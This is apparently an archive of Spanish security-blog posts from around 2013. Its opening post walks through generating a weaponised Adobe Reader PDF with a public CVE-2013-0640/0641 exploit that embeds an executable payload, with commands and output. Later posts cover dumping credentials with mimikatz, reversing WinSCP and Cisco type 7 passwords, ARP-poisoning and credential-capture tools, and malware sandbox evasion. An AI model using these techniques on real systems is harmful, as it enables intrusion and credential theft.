Exploit para Adobe Acrobat Reader con evasión de sandbox y de ASLR/DEP

A mediados de febrero de este año y en varias campañas de malware se utilizó un 0-day para las últimas versiones de Adobe Reader por el cual un atacante podía provocar un desbordamiento de buffer y ejecutar código arbitrariamente mediante un PDF malicioso especialmente modificado.

Hoy, las dos vulnerabilidades ya tienen su CVE asignado (CVE-2013-0640 y CVE-2013-0641) y @w3bd3vil y @abh1sek han rescatado de un foro ruso y adaptado un exploit que es capaz de evadir ASLR/DEP y el sandbox de la aplicación.
Afecta a las versiones 11.0.1, 11.0.0, 10.1.5, 10.1.4, 10.1.3, 10.1.2, 10.1 y 9.5 de Adobe Acrobat Reader y funciona bajo Windows 7 (32 y 64bit) y XP.

Para probarlo nada más sencillo. Primero necesitamos instalar Ruby 1.9 (http://dl.bintray.com/oneclick/rubyinstaller/rubyinstaller-1.9.3-p484.exe?direct) y las gemas origami y metasm:

d:\Ruby193\bin\gem.bat install metasm
d:\Ruby193\bin\gem.bat install origami -v "=1.2.5"


Luego descargamos el exploit (http://www.exploit-db.com/sploits/29881.tar.gz) y lo descomprimimos, lo desempaquetamos y echamos un vistazo a sus parámetros y uso:

D:\Hacking\Exploits\29881>d:\Ruby193\bin\ruby.exe xfa_MAGIC.rb
Usage: xfa_MAGIC.rb [options]
    -i, --input [FILE]               Input PDF. If provided, exploit will be injected into it (optional)
    -p, --payload [FILE]             PE executable to embed in the payload
        --low-mem                    Use Heap spray suitable for low memory environment
    -o, --output [FILE]              File path to write output PDF
    -h, --help  
                     Show help

Después simplemente seleccionamos nuestro ejecutable PE para el payload (máximo 114688 bytes) y el nombre del fichero PDF:

D:\Hacking\Exploits\29881>d:\Ruby193\bin\ruby.exe xfa_MAGIC.rb -p prueba.exe -o poc.pdf
[+] Loading package
[+] Embedding user executable (size: 18944)
[+] Encoding payload (key: 249 kii: 251)
[+] Generating file: poc.pdf

 
Buen fin de semana y happy hacking!

Propagan la noticia falsa de que hackers comprometen los servidores de la FIFA y filtran el cuadro de grupos del Mundial

Hoy he recibido varios correos de amigos comentando una noticia en el Marca. En ella se hablaba de que un grupo de hackers logró comprometer los servidores de la FIFA y filtrar el cuadro de grupos del Mundial de fútbol de 2014, algo sorprendente teniendo en cuenta que hasta el próximo 6 de diciembre no es el sorteo oficial:


¡Genial! En seguida me puse a buscar más referencias, pero menos de cinco minutos bastaron para saber que la noticia provenía de El Deforma, un referente de periodismo satírico en México y, en definitiva, un sitio de noticias para hacer reír:


Obtención de contraseñas en claro mediante volcados de memoria (dmp) con WinDbg y la extensión de mimikatz

Como ya sabéis, con mimikatz podemos obtener los hashes/contraseñas accediendo directamente al proceso o a un minidump de LSASS. Sin embargo, los contenidos de la memoria de LSASS están también "disponibles" a través de otras fuentes:

- copias de memoria de máquinas virtuales (archivos .vmem, etc.)
- archivos de hibernación (archivos hiberfil.sys)
- archivos de volcado de memoria crashdump (.dmp)
...

Hasta ahora mimikatz no podía tratar directamente estas fuentes de datos porque es relativamente complejo (aunque posible) crear un traductor de direcciones virtuales a físicas para todos los modos de direccionamiento (especialmente con las características de Microsoft) y porque el administrador de memoria de Windows no puede garantizar el mapeo de memoria virtual-física durante un tiempo T.

Por eso "Gentil Kiwi" ha creado una extensión para la herramienta más adecuada para la lectura de volcados de memoria (el formato "crashdump") y la manipulación de los símbolos: WinDBG!.

Veamos un ejemplo del uso de esta extensión mediante el análisis y la extracción de un fichero .vmem de una máquina virtual Win7 de VMWare, es decir, el fichero que contiene un backup de la paginación de memoria y que se genera automáticamente al pausar y guardar el estado de una VM.

¿Tienes un televisor LG? Pues seguramente te estén monitorizando...

Al ver publicidad en su nueva televisión, el dueño de un LG Smart TV en Gran Bretaña decidió investigar y descubrió que LG avisaba de sus prácticas de recolección de datos a sus anunciantes potenciales:

"LG Smart Ad analiza los programas favoritos de sus usuarios, el comportamiento online, la búsqueda de palabras clave y otra información para ofrecer anuncios relevantes a las audiencias objetivo. Por ej., LG Smart Ad puede ofrecer trajes de buen corte a hombres o cosméticos y fragancias seductoras a mujeres.


Por otra parte, LG Smart Ad es capaz de ofrecer útiles y variados informes de rendimiento de publicidad que otros anuncios de radiodifusión en directo no pueden, para identificar con precisión la eficacia publicitaria real."
   
El investigador, aka DoctorBeet, realizó una serie de capturas de tráfico y pudo comprobar cómo se enviaba información acerca de los canales que se estaban visualizando en cada momento y los nombres de los ficheros que contenían sus dispositivos conectados por USB.

Listado de software open source que utiliza la PlayStation 4

GRUB 2.0: Imágen filtrada del development kit de la PS4.
Todos los jugones ya sabrán que la PlayStation 4 fue lanzada en Estados Unidos la semana pasada y que llegará a Europa y Latinoamérica el próximo 29 de noviembre mientras que Japón tendrá que esperar hasta el 22 de febrero de 2014. 

Se está hablando mucho de que el sistema operativo de la nueva máquina de Sony es un spin de FreeBSD 9 (Orbis OS), algo que si embargo no debería ser tan sorprendente teniendo en cuenta que su licencia es bastante más "permisiva" y que este sistema inspirado en Unix ya fue utilizado incluso en la PS3.

También se comenta que Sony ha co-desarrollado junto con AMD drivers para aprovechar al máximo las características gráficas del hardware, si bien utiliza también bastante software de código abierto que queremos destacar y listamos a continuación:


Ten cuidado si guardas las contraseñas de tus sesiones con WinSCP...

Afortunadamante poco a poco se está sustituyendo el uso de FTP por SCP o SFTP sobre SSH-1 y SSH-2 para la transferencia de ficheros en Internet. 

Quizás unos de los clientes más utilizados bajo Windows es WinSCP. Esta herramienta te permite almacenar sesiones y también guardar sus respectivas contraseñas, algo en principio no recomendable:


Por defecto, WinSCP realiza una serie de sencillas operaciones bit a bit usando el nombre de usuario concatenado con el nombre de máquina y almacena la contraseña cifrada en la cadena del registro "HKEY_Current_User\Software\Martin Prikryl\WinSCP 2\Sessions" o en un fichero INI localizado en el mismo path del ejecutable del programa:

 
[Sessions\usuario@ftp.pruebas.cz]
HostName=ftp.pruebas.cz
UserName=usuario
FSProtocol=2
Password=B22F7258DC45B2991A080D15191F150B1A6C6F2F3A282C7235393F35712F392C2A353F35332B123F22310839312C332E3D302D6E6B

Cómo utilizar cifrado PGP con GMail, Yahoo y otras cuentas de webmail mediante Mailvelope

Hace poco Snowden reveló que la NSA ha estado recolectando datos desde las redes internas de los datacenters de Yahoo y Google por lo que hoy en día quien utiliza sus servicios de correo electrónico no tiene garantizado en absoluto la privacidad

No obstante, aún es posible luchar contra estas interceptaciones utilizando cifrado asimétrico PGP y además hacerlo fácilmente mediante la extensión de navegador Mailvelope.

Mailvelope es de código abierto y ofrece cifrado punto a punto facilitando las características del estándar OpenPGP a través de la integración de una serie de elementos flotantes en el interfaz del servicio webmail correspondiente. Todavía no ofrece la posibilidad de firmar mensajes o utilizar key servers para la obtención de claves públicas pero, como veréis a continuación, seguro que su facilidad de uso os animará a empezar a utilizarlo.


Preparando el entorno

Para instalarlo, podremos elegir la extensión para Chrome o Firefox: https://github.com/toberndo/mailvelope/releases
.

A continuación en la barra de complementos del navegador haremos clic en el icono del programa y en el menú desplegable seleccionaremos 'Opciones':

Lo primero que necesitaremos es generar un par de claves (pública y privada). Para ello indicaremos nuestro nombre, email y el tamaño de clave (1024, 2048 o 4096 bits). De momento sólo se puede seleccionar RSA como algoritmo y no se puede fijar la caducidad. Durante el proceso de generación de las claves es posible que el navegador deje de responder durante unos minutos:

¿Podría haber un backdoor en un sistema operativo de código abierto?

Que la NSA propuso a Linus Torvalds introducir una puerta trasera en Linux era un rumor que el propio creador del kernel ya reconoció en septiembre durante la conferencia LinuxCon. Ahora sin embargo ya es un hecho confirmado porque así se reveló durante la audiencia sobre la vigilancia de masas en el Parlamento Europeo de esta semana.

Nils Torvalds, padre de Linus y miembro del Parlamento Europeo de Finlandia, comentaba (minuto 3:09:06 del vídeo): “Cuando a mi hijo mayor le hicieron la misma pregunta: "¿te ha hecho la NSA alguna propuesta sobre backdoors", dijo "No" , pero al mismo tiempo él asintió. Era una clase de libertad legal. Le había dado la respuesta correcta, [pero] todos entendieron que la NSA se había acercado a él".

La historia no nos dice todavía qué respondió Linus Torvalds a la NSA, pero supongo que les dijo que no sería capaz de inyectar puertas traseras, aunque quisiera, ya que el código fuente es abierto y todos los cambios son revisados por muchas personas independientes. Después de todo, esa es una de las ventajas del código fuente abierto y la razón por la que, en teoría, se podría confiar cuando se trata de seguridad.

Y digo en teoría porque en este mundo ya nadie se ríe y piensa que eres un paranoico si afirmas que, aun así, también podrían haber introducido un backdoor en Linux, aunque sea un sistema operativo de código abierto...

#Bitácoras13, muchas gracias a tod@s!

No queríamos despedir la semana sin daros las gracias a todos aquellos que habéis votado a cualquier blog dentro de la categoría al Mejor Blog de Seguridad Informática de la edición 2013 de Bitácoras que patrocina ESET. 

Gracias a vuestros votos es posible que exista una categoría específica para esta temática y que todos los que nos dedicamos a ésto estemos también orgullosos por ser un punto de interés en Internet. 

A falta de sólo unas horas para que se cierren las votaciones y sean cual sean los resultados finales, nosotros ya hemos ganado con estar ahí tan arriba al lado de muchos grandes profesionales, entusiastas y amigos. 

¡Muchas gracias!

Última Clasificación Parcial: Mejor Blog de Seguridad Informática
1. equal El Blog De Angelucho
2. up El Lado Del Mal
3. down Security By Default
4. up Hacktimes V2.0
5. down Hack Players
6. up Hacking Ético
7. down Flu Project «
8. down Hacking Ètic
9. down Blackploit [Pentest]
10. up Underc0De Blog - Hacking Ético

Netsh trace, realiza capturas de tráfico de red sin necesidad de instalar nada

En Windows 7/2008 R2 ya no es necesario instalar WireShark o Netmon para realizar una captura de tráfico, con el comando 'netsh trace' es posible hacerlo directamente desde la línea de comandos:


Básicamente desde una consola con permisos administrativos ejecutamos el comando 'netsh trace start' con los parámetros deseados para iniciar la captura:

C:\Windows\system32> netsh trace start capture=YES report=YES persistent=YES

Y posteriormente cuando queramos paramos la monitorización con el comando:

C:\Windows\system32> netsh trace stop

Una vez finalizada la captura, se generarán dos ficheros por defecto: uno con extensión .ETL (Event Trace Log) que puede ser abierto con herramientas como Netmon, y otro con extensión .CAB que contiene abundante información sobre el software y hardware del sistema, así como la información del adaptador, estructura, sistema operativo y la configuración inalámbrica.

¿Malware en la red corporativa? el jefe ha vuelto a ver porno...

En octubre de 2013 ThreatTrack Security llevó a cabo una encuesta a 200 analistas de malware de distintas empresas de EE.UU. Sus conclusiones son cuanto menos curiosas y también queríamos compartirlas con vosotros:

- casi 6 de cada 10 analistas reconocen que han investigado o tratado fugas de datos que no se han dado a conocer nunca por la empresas afectadas
- las empresas con más de 500 empleados son más propensas a haber tenido una incursión no declarada
- el 40% de los encuestados dijo que la mayor dificultad para defender la red de su organización es el hecho de que no tienen suficiente personal de seguridad altamente cualificado
- el 67% también dijo que la complejidad del malware es otro factor principal, el 67 % el volumen de los ataques de malware y el 58% citó la falta de efectividad de las soluciones anti-malware
- los analistas dedican mucho tiempo a revisar infecciones de malware fácilmente evitables que se originan en los niveles más altos de la organización y fundamentalmente debido a que:
    . visitan sitios web pornográficos (40 %)
    . hacen clic en un enlace malicioso en un correo electrónico de phishing (56 %)
    . permiten que un miembro de su familia use un dispositivo de propiedad de la empresa (45 %)
    . instalan alguna aplicación móvil maliciosa (33 %)
- más de la mitad (52 %) de todos los analistas de malware dijeron que normalmente les lleva más de 2 horas analizar una nueva muestra de malware. Por el contrario, sólo el 4 % dijo que son capaces de analizar un nuevo ejemplar de malware en menos de una hora
- un 35 % comenta que no tienen acceso a una solución automatizada de análisis de malware
- por último también se les preguntó a los analistas sobre el espionaje cibernético. El 37 % de los encuestados dijo que los EE.UU. es el país más experto en la realización de espionaje cibernético, seguido de cerca por China con un 33 %


¿Y vosotros que opináis? Real como la vida misma ¿verdad?

Fuente: Malware Analysts Say Breaches Are Not Being Disclosed by Their Employers

FBStalker y GeoStalker, dos herramientas para analizar tu vida privada

Yo sé qué si estáis leyendo esta entrada en este blog teneis en especial consideración la seguridad informática y sois extremadamente cuidadosos con la configuración de la privacidad de vuestras cuentas como la de Facebook... 

...pero has de saber que sólo necesitas tener un amigo "descuidado" para abrir el camino hacia una gran cantidad de información sobre tu vida privada. 

Con FBStalker y GeoStalker, herramientas de inteligencia de código abierto (OSINT) para minería de datos, se facilita mucho este proceso y, como comentamos, es posible aprovecharse de uno sólo de tus amigos imprudentes para conseguir tener mucha información sensible y un auténtico esquema de tu vida personal.

Estas herramientas fueron presentadas (pdf) por Keith Lee y Jonathan Werrett de SpidersLabs en la última conferencia Hack in the Box en Kuala Lumpur. Ambos demostraron cómo utilizar Facebook Graph con otras fuentes como LinkedIn, Flickr, Instagram y Twitter para recolectar información sobre una objetivo, como lugares y sitios web visitados con regularidad, el trabajo, la escuela o los amigos on-line y mostrar los datos en Google Maps.


Isowall: un mini-firewall con su propia pila TCP/IP

Durante su investigación de #badBIOS, Dragos Ruiu preguntaba acerca de un firewall sencillo que fuera capaz de aislar totalmente de su red local un equipo infectado o en cuarentena pero manteniendo a la vez el acceso a Internet. Robert David Graham, otro monstruo en esto de la seguridad informática, no tardó en responderle con la creación de Isowall...

Los firewalls de hoy fallan debido a que son extensiones de la pila de red existente del sistema operativo. Esto facilita una mayor superficie de ataque y una mayor complejidad. Isowall es un mini-firewall que basa la garantía total de la seguridad en el hecho de que no hay ninguna pila TCP/IP enlazada al interfaz de red conectado al equipo infectado, lo que significa que Isowall tiene su propio TCP/IP.

Veamos la PoC. Se ejecuta Isowall en una Raspberry Pi. El portátil en la imagen puede estar infectado con un virus. Queremos que el portátil siga teniendo acceso a Internet, pero que no acceda la red local, ya que podría propagar la infección. Como se puede ver, el portátil tiene una conexión Ethernet directa a la Raspberry Pi corriendo isowall (cables azul y blanco conectados al adaptador Ethernet USB), que luego se une al resto de la red doméstica (cable gris):



Al ejecutar ifconfig en la Raspberry Pi se puede observar que el interfaz eth1 no tiene asignado ninguna IP:



La máquina infectada puede atacar a este puerto Ethernet todo lo que quiera, no llegará a ninguna parte, porque no hay nada escuchando en ese puerto ¡excepto Isowall!

Puedes encontrar más detalles, instrucciones de instalación y uso en la web del proyecto: https://github.com/robertdavidgraham/isowall
Fuente: isowall: an isolating firewall

Recopilación de herramientas Python para pentesters

Si estás involucrado en la investigación de vulnerabilidades, ingeniería inversa o pruebas de intrusión, seguro que ya habrás utilizado Python porque cuenta con un rico conjunto de librerías y herramientas útiles para estos menesteres.

En la página de Dirk Loss podemos encontrar un gran recopilatorio de herramientas escritas en Python para penetration testers, algunas de ellas sólo enlaces a librerías C existentes, es decir, herramientas que hacen las librerías fácilmente utilizables desde programas de Python.

Sin embargo, por la difusa situación jurídica en Alemania no se incluyen algunas de las herramientas más agresivas (frameworks PenTest, smashers bluetooth, escáneres de vulnerabilidades de aplicaciones Web, war-dialers, etc.). Por ello y para tener una lista aún más completa, vamos a ir añadiendo todas las herramientas que vayamos encontrando. No dudes en comentar esta entrada si conoces alguna más y quieres que la añadamos a esta lista:

 

Red


  • Dirtbags py-pcap: lee ficheros pcap sin libpcap
  • DHCPig: script en Python que realiza un ataque de agotamiento DHCP (DHCP Starvation).
  • dpkt: rápida y simple creación de paquetes y análisis, con las definiciones básicas de los protocolos TCP/IP 
  • flowgrep: grep a través de payloads de paquetes utilizando expresiones regulares
  • FuzzAP: script en Python para ofuscar redes inalámbricas.
  • glastopf: honeypot que se basa en un pequeño servidor web que emula cientos de vulnerabilidades.
  • Impacket: modifica y decodifica paquetes de red. Incluye soporte para los protocolos de más alto nivel, tales como NMB y SMB
  • Knock Subdomain Scan:  enumera los subdominios de un dominio de destino a través de una lista de palabras
  • LANs.py: herramienta capaz de falsificar y envenenar la tabla de ARP de un objetivo individual. Es multihilo y asíncrono.
  • libdnet: rutinas de red de bajo nivel, incluyendo la interfaz de búsqueda y transmisión de tramas Ethernet
  • Mallory: proxy man-in-the-middle extensible TCP/UDP, soporta la modificación de protocolos no estandar al vuelo
  • pypcap, Pcapy y pylibpcap: varios enlaces Python para libpcap
  • Pytbull: framework de pruebas de IDS/IPS muy flexible (incluye más de 300 tests)
  • pynids: wrapper de libnids que incluye sniffing, IP defragmentation, reensamblado de streams TCP y detección de escaneos de puertos
  • Responder: un poisoner LLMNR, NBT-NS y MDNS, con servidores de autenticación falsos HTTP/SMB/MSSQL/FTP/LDAP que soportan NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP y autenticación básica HTTP
  • Scapy: envia, rastrea y analiza y crea paquetes de red. Se puede usar de forma interactiva o como una librería
  • Waffit: un conjunto de herramientas para auditar tu WAF.

Jornadas STIC CCN-CERT en Diciembre con talleres prácticos

Como cada año, el CCN-CERT, del Centro Criptológico Nacional, organiza sus VII Jornadas STIC CCN-CERT los días 10 y 11 de diciembre en la Fábrica Nacional de la Moneda y Timbre (Madrid).

Estas jornadas cuentan con una gran afluencia de público, acuden unos 550 profesionales previa invitación que debaten sobre los riesgos y amenazas del ciberespacio. En esta edición las sesiones girán en torno a la Estrategia de Ciberseguridad y el ciberespionaje.

En esta ocasión, se ha querido ampliar la oferta formativa e incluir tres talleres, eminentemente prácticos, con el fin de ofrecer una mayor conocimiento en algunos de los aspectos de más interés para los responsables de seguridad de la Administración Pública.

Para más información no dudes en consultar la agenda de las jornadas.

¿Podría Truecrypt esconder un backdoor? ¿Es seguro? ¡Vamos a auditarlo! #IsTrueCryptAuditedYet

Truecrypt es gratuito y uno de los programas de cifrado más usados en la actualidad. Sin embargo, a pesar de ser de código abierto y de no haber recibido ninguna actualización en casi dos años, todavía no se han analizado exhaustivamente sus 108817 líneas de código (la mayoría C, C++ y XML).

Pero, ¿por qué revisarlo a conciencia ahora? 


Principalmente porque no hace mucho se filtró que la NSA y la GCHQ (las agencias de espionaje de EE.UU. y Gran Bretaña respectivamente) llevan años dedicando mucho esfuerzo a comprometer varias tecnologías de cifrado. Teniendo en cuenta que funciona bajo Windows, Linux y Mac OS y que como comentamos es una de las herramientas de cifrado más extendidas del mundo, Truecrypt se posiciona como un claro y jugoso objetivo... 

¿Podrían existir fallos o vulnerabilidades que ya estén siendo explotadas en secreto? O peor aún, ¿ha podido algún organismo intervenir en el desarrollo del código para ocultar un backdoor?

'Is TrueCrypt audited yet?' es una iniciativa que pretende contestar a esas preguntas mediante la realización de una completa auditoría con financiación
colectiva o crowdfunding. El proyecto surgió a mediados de octubre y a través de las plataformas FundFill y IndieGoGo ya han recaudado ¡más de $50.000!. 

Sus objetivos principales son:

- implementar versiones deterministas/reproducibles con el fin de estar seguros de que los binarios no han sido manipulados.
- llevar a cabo una completa auditoría profesional de código fuente llevada a cabo por una empresa de evaluación de la seguridad de que esté capacitada para revisar y analizar software criptográfico.
- implementar también un pequeño programa de recompensas abierto para compensar a todos aquellos que reporten bugs en el software.
- hacer una revisión legal de la licencia de software, y ver si hay alguna manera de permitir que TrueCrypt se incluya en las distribuciones de Linux más populares.

Sus fundadores Matthew Green y Kenneth White comentan "No esperamos hacer todo esto con una sola persona. El balance exacto de los pagos de nuestro fondo de recogida está aún por determinar, pero se formalizará pronto. Queremos especialistas y expertos, y también queremos a gente que done su tiempo siempre que sea posible".

"El problema con TrueCrypt es el mismo problema que tenemos con cualquier otro software de seguridad popular en la era post 5 de septiembre: no sabemos en qué más confiar" Green explicó en el blog. "Pero, francamente, hay otras cosas que me preocupan sobre TrueCrypt. El más grande es que nadie sabe quién lo escribió".

No sé vosotros, pero yo estoy deseando ver los resultados...

Fuentes:
TrueCrypt to go through a crowdfunded, public security audit
Is your encryption truly secure? TrueCrypt audit effort smashes fundraising goals
Security Researchers Want To Fully Audit Truecrypt
Let's audit Truecrypt!


Actualización (06/04/2015):
Ya tenemos los resultados y son buenas noticias: el informe de la auditoría concluye que no hay backdoors de la NSA en Truecrypt:
- https://opencryptoaudit.org/reports/TrueCrypt_Phase_II_NCC_OCAP_final.pdf
- https://threatpost.com/truecrypt-audit-stirs-back-to-life/111162
- http://news.hitb.org/content/truecrypt-security-audit-good-news-so-why-all-glum-faces

Descifrando contraseñas de Cisco IOS

Nunca pero nunca se debe facilitar el fichero de configuración de un switch o router Cisco sin eliminar manualmente sus contraseñas, aunque estén cifradas.
 

En Cisco IOS el comando 'service password-encryption' simplemente cifra la contraseña utilizando Vigenère (tipo 7), un algoritmo totalmente reversible.
 

Por ejemplo, así se mostraría la contraseña en el fichero de configuración en texto plano:

username pepito privilege 15 password 0 MyP4ssw0rd

Y así cifrada con tipo 7:

username pepito privilege 15 password 7 022B1D6B5F151C361C5C0D

Dime quién eres y te diré cuantas líneas de código fuente tienes

En número de líneas de código que tiene un programa normalmente no significa necesariamente que éste sea mejor, más seguro, que tenga mayor funcionalidad o que sea más complejo. De hecho todos los desarrolladores saben que normalmente programan de forma más óptima si pueden hacer la misma función con menos código.

No obstante saber cuantas líneas de código tienen las plataformas, aplicaciones y sistemas más grandes y reconocidos del mundo es un dato cuanto menos curioso.

Existen varias formas de averiguarlo, ya sea mediante fuentes primarias (artículos), cálculo automático mediante herramientas como CLOC o LCFUCount, o consultas en la página OhLoh.

En la infografía de David McCandless de la izquierda (haz clic en la imagen para agrandar o visita el enlace) se muestran gráficamente los millones de líneas de código de varios sistemas, desde un simple juego en iPhone hasta los principales sistemas operativos, pasando por el software de drones militares, coches, el Hubble o el colisionador de hadrones.

De igual forma hemos querido hacer un ejercicio similar y hemos obtenido el número de líneas de algunas de las herramientas de seguridad de código abierto más populares. Y bueno, este es el resultado:

Evasión de sistemas de análisis dinámico de malware

Casi una año hemos tenido que esperar a la publicación del número 4 de Valhalla, un ezine que seguro que ya conocen (y probablemente aman) todos los escritores de virus. 

En el encontrarás infectores multiplataforma, métodos propagación, metamorfismo, nuevas técnicas (como la sorprendente auto-replicación usando la codificación del ADN) y trucos para evadir sistemas en línea de análisis dinámico como el que explica m0sa en su artículo: "SYP.01: Bypassing Online Dynamic Analysis Systems"...

Como ya vimos en el blog hace tiempo existen varios servicios online gratuitos que básicamente ejecutan el malware y monitorizan su comportamiento. Estos servicios normalmente son de dos tipos: basados en máquinas virtuales o basados en hooks, y por supuesto hay sistemas que combinan estos dos tipos.

Evasión de sistemas basados en máquinas virtuales

En las VM el sistema arranca en una máquina virtual limpia, ejecuta el malware, la para y, después de un tiempo definido, compara el resultado con el inicial para determinar los cambios realizados.

Normalmente para intentar evadir este análisis se utilizan dos técnicas:

- Detectar la presencia de VM: existen muchas técnicas para la detección de máquinas virtuales, aunque también otras tantas para ocultarlas.


- Retraso en la ejecución del malware: como la máquina virtual normalmente tiene un límite de tiempo para ejecutar el malware, es una buena idea retrasar su ejecución. No obstante el malware se retrasará también cuando se ejecute en un entorno real.